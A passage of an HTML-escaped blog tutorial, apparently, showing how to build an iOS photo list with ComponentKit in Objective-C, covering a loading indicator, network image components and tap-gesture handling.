                    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;@selector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;setColor&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
                    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;@selector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;setActivityIndicatorViewStyle&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;UIActivityIndicatorViewStyleWhiteLarge&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CKComponentSize&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;fromCGSize&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;UIScreen&lt;/span&gt; &lt;span class="nf"&gt;mainScreen&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;bounds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;
&lt;span class="err"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With that in place, we have a loading screen.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Loading screen" src="https://i.imgur.com/5BY8CJf.png" /&gt;&lt;/p&gt;

&lt;p&gt;Next step is to get the activity indicator start and stop animating. Which is pretty simple&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;{@selector(startAnimating), nil}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id="rendering-list-of-images"&gt;Rendering list of images&lt;/h3&gt;

&lt;p&gt;Next step, rendering a bunch of images. The first part is easy, making a network request and get a JSON payload containing a bunch of image URLs.&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;updateImages&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;NSArray&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;images&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_viewModel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;NSUInteger&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;images&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;NSMutableDictionary&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;NSIndexPath&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PAListItemViewModel&lt;/span&gt; &lt;span class="o"&gt;*&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;photoList&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSMutableDictionary&lt;/span&gt; &lt;span class="nf"&gt;dictionaryWithCapacity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSInteger&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;photoList&lt;/span&gt;
         &lt;span class="nl"&gt;setObject:&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_viewModel&lt;/span&gt; &lt;span class="nf"&gt;itemAtIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
         &lt;span class="nl"&gt;forKey:&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSIndexPath&lt;/span&gt; &lt;span class="nf"&gt;indexPathForRow&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="nf"&gt;inSection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;CKDataSourceChangeset&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;loadingData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[[[&lt;/span&gt;&lt;span class="n"&gt;CKDataSourceChangesetBuilder&lt;/span&gt; &lt;span class="nf"&gt;transactionalComponentDataSourceChangeset&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nf"&gt;withInsertedItems&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;photoList&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nf"&gt;build&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_dataSource&lt;/span&gt; &lt;span class="nf"&gt;applyChangeset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;loadingData&lt;/span&gt; &lt;span class="nf"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;CKUpdateModeAsynchronous&lt;/span&gt; &lt;span class="n"&gt;userInfo&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="Placeholder images" src="https://i.imgur.com/dJLybpG.png" /&gt;&lt;/p&gt;

&lt;p&gt;The tricky part is fetching the images. Normally we have to consider the fact that the user might be scrolling and the cell that started the network request could be out of view already, and we don’t want to render wrong images on wrong cells. So, there has to be a owner of the network callback, from what I’ve read so far that job is usually for the ComponentController, but then I also something called &lt;code class="language-plaintext highlighter-rouge"&gt;CKNetworkImageComponent&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To make that happen, first step is provide a concrete implementation of &lt;code class="language-plaintext highlighter-rouge"&gt;CKNetworkImageDownloading&lt;/code&gt; which is pretty close to what &lt;code class="language-plaintext highlighter-rouge"&gt;PANetworkService&lt;/code&gt; is doing already. Here is a naive implementation&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;downloadImageWithURL&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSURL&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;URL&lt;/span&gt;
                    &lt;span class="nf"&gt;caller&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;caller&lt;/span&gt;
             &lt;span class="nf"&gt;callbackQueue&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;dispatch_queue_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;callbackQueue&lt;/span&gt;
     &lt;span class="nf"&gt;downloadProgressBlock&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;CGFloat&lt;/span&gt; &lt;span class="n"&gt;progress&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="nv"&gt;downloadProgressBlock&lt;/span&gt;
                &lt;span class="nf"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;CGImageRef&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NSError&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="nv"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PANetworkService&lt;/span&gt; &lt;span class="nf"&gt;getPhotoWithURL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;URL&lt;/span&gt; &lt;span class="nf"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UIImage&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;_Nullable&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;callbackQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSError&lt;/span&gt;
                                 &lt;span class="nl"&gt;errorWithDomain:&lt;/span&gt;&lt;span class="s"&gt;@"com.wl.error.image"&lt;/span&gt;
                                 &lt;span class="nl"&gt;code:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
                                 &lt;span class="nl"&gt;userInfo:&lt;/span&gt;&lt;span class="nf"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;completion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CGImage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}];&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;URL&lt;/span&gt; &lt;span class="nf"&gt;absoluteString&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And the second step is then to create the component&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;@implementation&lt;/span&gt; &lt;span class="nc"&gt;PHPhotoComponent&lt;/span&gt;
&lt;span class="k"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instancetype&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;newWithPhoto&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;PAPhoto&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;photo&lt;/span&gt;
             &lt;span class="nf"&gt;imageDownloader&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;PAImageDownloader&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;imageDownloader&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;UIImage&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;placeholderImage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PAImageLoader&lt;/span&gt; &lt;span class="nf"&gt;placeholderImage&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;CKComponent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;imageComponent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;CKNetworkImageComponent&lt;/span&gt;
                                   &lt;span class="nl"&gt;newWithURL:&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;photo&lt;/span&gt; &lt;span class="nf"&gt;imageURLWithResolution&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;ImageResolutionThumbnail&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                                   &lt;span class="nl"&gt;imageDownloader:&lt;/span&gt;&lt;span class="n"&gt;imageDownloader&lt;/span&gt;
                                   &lt;span class="nl"&gt;size:&lt;/span&gt;&lt;span class="nf"&gt;CKComponentSize&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;fromCGSize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;placeholderImage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                                   &lt;span class="nl"&gt;options:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;defaultImage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;placeholderImage&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
                                   &lt;span class="nl"&gt;attributes:&lt;/span&gt;&lt;span class="p"&gt;{}];&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt; &lt;span class="nf"&gt;newWithComponent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;imageComponent&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;@end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="List of images" src="https://i.imgur.com/z9C42dB.png" /&gt;&lt;/p&gt;

&lt;h3 id="user-interactions"&gt;User interactions&lt;/h3&gt;

&lt;p&gt;Next we want the react on whenever a user taps on the cell, and here is where &lt;code class="language-plaintext highlighter-rouge"&gt;CKComponentTapGestureAttribute&lt;/code&gt; comes into the picture. After playing around for a while, this is what seems to be working&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;@implementation&lt;/span&gt; &lt;span class="nc"&gt;PHPhotoComponent&lt;/span&gt;
&lt;span class="k"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instancetype&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;newWithPhoto&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;PAPhoto&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;photo&lt;/span&gt;
             &lt;span class="nf"&gt;imageDownloader&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;PAImageDownloader&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;imageDownloader&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;UIImage&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;placeholderImage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PAImageLoader&lt;/span&gt; &lt;span class="nf"&gt;placeholderImage&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;CKComponentSize&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CKComponentSize&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;fromCGSize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;placeholderImage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;CKComponent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;imageComponent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;CKNetworkImageComponent&lt;/span&gt;
                                   &lt;span class="nl"&gt;newWithURL:&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;photo&lt;/span&gt; &lt;span class="nf"&gt;imageURLWithResolution&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;ImageResolutionThumbnail&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                                   &lt;span class="nl"&gt;imageDownloader:&lt;/span&gt;&lt;span class="n"&gt;imageDownloader&lt;/span&gt;
                                   &lt;span class="nl"&gt;size:&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;
                                   &lt;span class="nl"&gt;options:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;defaultImage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;placeholderImage&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
                                   &lt;span class="n"&gt;attributes&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;{}];&lt;/span&gt;

    &lt;span class="n"&gt;CKComponent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;centerYComponent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;CKCenterLayoutComponent&lt;/span&gt;
                                     &lt;span class="nl"&gt;newWithCenteringOptions:&lt;/span&gt;&lt;span class="n"&gt;CKCenterLayoutComponentCenteringY&lt;/span&gt;
                                     &lt;span class="nl"&gt;sizingOptions:&lt;/span&gt;&lt;span class="n"&gt;CKCenterLayoutComponentSizingOptionMinimumY&lt;/span&gt;
                                     &lt;span class="nl"&gt;child:&lt;/span&gt;&lt;span class="n"&gt;imageComponent&lt;/span&gt;
                                     &lt;span class="nl"&gt;size:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="err"&gt;}&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="n"&gt;CKComponent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;containerComponent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;CKFlexboxComponent&lt;/span&gt;
                                       &lt;span class="nl"&gt;newWithView:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
                                           &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;UIView&lt;/span&gt; &lt;span class="nf"&gt;class&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
                                           &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;CKComponentTapGestureAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;@selector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;onTap&lt;/span&gt;&lt;span class="p"&gt;))}&lt;/span&gt;
                                       &lt;span class="err"&gt;}&lt;/span&gt;
                                       &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
                                       &lt;span class="n"&gt;style&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
                                       &lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
                                           &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;centerYComponent&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
                                       &lt;span class="p"&gt;}];&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt; &lt;span class="nf"&gt;newWithComponent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;containerComponent&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="err"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;onTap&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"show details"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;@end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Whats left is hooking a listener to the event. From what I’ve read about the components is that they should not be set as delegate, as they are by design short lived immutables. So I’m imagining them as being disposed off after a draw cycle. So the question is how do we handle the touch event? To understand let’s see what is &lt;code class="language-plaintext highlighter-rouge"&gt;CKComponentTapGestureAttribute&lt;/code&gt;?&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;CKComponentViewAttributeValue&lt;/span&gt; &lt;span class="nf"&gt;CKComponentTapGestureAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CKAction&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;UIGestureRecognizer&lt;/span&gt; &lt;span class="o"&gt;*&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So it a function that takes a &lt;code class="language-plaintext highlighter-rouge"&gt;CKAction&lt;/code&gt; and returns a &lt;code class="language-plaintext highlighter-rouge"&gt;CKComponentViewAttributeValue&lt;/code&gt;. The &lt;code class="language-plaintext highlighter-rouge"&gt;CKAction&lt;/code&gt; on the other hand is a simple wrapper around the target selector pair, maybe we can use that. Or even better if we could construct the &lt;code class="language-plaintext highlighter-rouge"&gt;CKAction&lt;/code&gt; and inject it from outside.&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;        &lt;span class="n"&gt;CKAction&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;UIGestureRecognizer&lt;/span&gt; &lt;span class="o"&gt;*&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CKAction&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;UIGestureRecognizer&lt;/span&gt; &lt;span class="o"&gt;*&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;actionFromBlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CKComponent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UIGestureRecognizer&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;__strong&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;NSLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;@"did tap"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
        
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PHPhotoComponent&lt;/span&gt;
